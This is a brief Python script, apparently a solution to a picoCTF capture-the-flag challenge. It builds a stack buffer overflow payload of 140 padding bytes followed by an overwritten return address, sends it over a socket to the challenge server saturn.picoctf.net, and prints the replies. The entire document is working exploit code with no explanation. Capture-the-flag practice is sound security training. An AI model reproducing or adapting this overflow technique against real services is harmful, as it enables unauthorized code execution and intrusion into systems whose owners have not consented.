Challenge best paired with wine.
import socket
payload = b'A' * 140
payload += b'\x30\x15\x40'
print('payload = ' + str(payload))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('saturn.picoctf.net', 62461))
print(s.recv(1024))
print(s.send(payload + b'\r\n'))
print(s.recv(1024))
s.close()